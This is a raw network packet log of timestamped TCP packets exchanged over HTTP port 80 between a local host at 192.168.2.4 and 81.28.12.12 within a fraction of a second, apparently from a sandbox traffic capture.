Jun 29, 2024 08:05:16.977622986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977654934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977674007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977705956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977735996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977765083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977798939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977818966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977852106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977873087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977907896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977926970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.977960110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.977984905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978018045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978039026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978072882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978094101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978126049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978163004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978183985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978219032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978236914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978269100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978302002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978333950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978612900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978676081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978709936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978750944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978796005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978822947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978857040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978885889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.978912115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978961945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.978996992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.979017019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979068995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979101896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.979121923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979156017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979187965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.979208946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979243040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.979263067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979295015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979325056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.979348898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.979368925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.979475975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.045943975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046060085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046094894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046123028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046169996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046212912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046247005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046314955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046343088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046396971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046431065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046452045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046483994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046515942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046539068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046571970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046606064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046627045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046659946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046691895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.046715021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046749115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.046782017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.048830986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.049710035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.049746990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.049777985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.049817085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.049849033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.049873114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.049909115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.049928904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.049962997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.049982071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.050003052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.050035000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.050070047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.050092936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.050251961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.050955057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051007032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051034927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.051058054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051100969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.051130056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051166058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.051184893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051220894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051239967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.051273108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051306009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.051330090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.051378965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.051378965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.063921928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.063956976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.063999891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064027071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064059973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064089060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064115047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064158916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064188004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064232111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064259052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064292908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064332962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064352989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064404011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064435005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064469099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064519882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064567089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064594030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064626932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064646959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064680099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064712048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064728022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064759016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064793110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064814091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064857006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064877987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064878941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064917088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.064940929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.064982891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065010071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065040112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065072060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065095901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065129042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065160990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065182924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065210104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065243006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065263033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065295935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065324068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065351009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065392971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065427065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065448999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065481901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065516949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065537930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065570116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065609932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065644026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065677881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065697908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065730095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065752983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065783024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065805912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065839052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065871000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065905094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065929890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.065948963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.065983057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066015959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066032887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066066027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066087961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066119909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066162109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066181898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066212893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066245079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066272974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066318989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066351891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066390991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066422939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066468000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066493988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066524029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066556931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066581011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066615105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066648960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066672087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066716909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066745996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066780090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066807985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066836119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066888094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066909075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066909075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.066963911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.066996098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067038059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067073107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067102909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067137003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067158937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067178011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067212105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067245007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067275047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067300081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067359924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067359924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067388058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067423105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067456961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067477942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067512035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067532063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067563057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067595959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067619085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067636013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067667007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067692041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067723036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067773104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067795038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067816019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067847967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067881107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067900896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067934990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.067959070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.067994118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068027020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068207979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068250895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068279028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068306923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068336010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068384886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068402052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068453074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068537951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068574905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068593025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068624973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068650961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068672895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068700075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068742037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068770885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068802118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068837881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068856955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068887949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068913937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.068938971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.068968058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.069000959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.069025040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.069051027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.069080114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.069111109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.069144011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.069346905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.135653973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.135695934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.135729074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.135776043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.135812044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.135838032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.135871887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.135894060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.135936975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.135965109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.135991096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136033058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136048079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136082888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136100054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136133909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136184931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136200905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136226892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136257887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136276960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136311054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136344910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136368036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136387110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136421919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.136499882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.136538029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.139447927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139482021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139528990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.139556885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139590025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139625072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.139646053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139679909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.139700890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139735937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.139755964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.139791012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.139808893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.140615940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140674114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140707970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.140727997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140786886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140801907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.140832901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140862942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.140889883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140909910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.140949965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.140964985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.141041994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.153708935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.153763056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.153796911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.153819084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.153851032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.153896093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:17.153923035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:17.153954983 CEST	80	49731	81.28.12.12	192.168.2.4
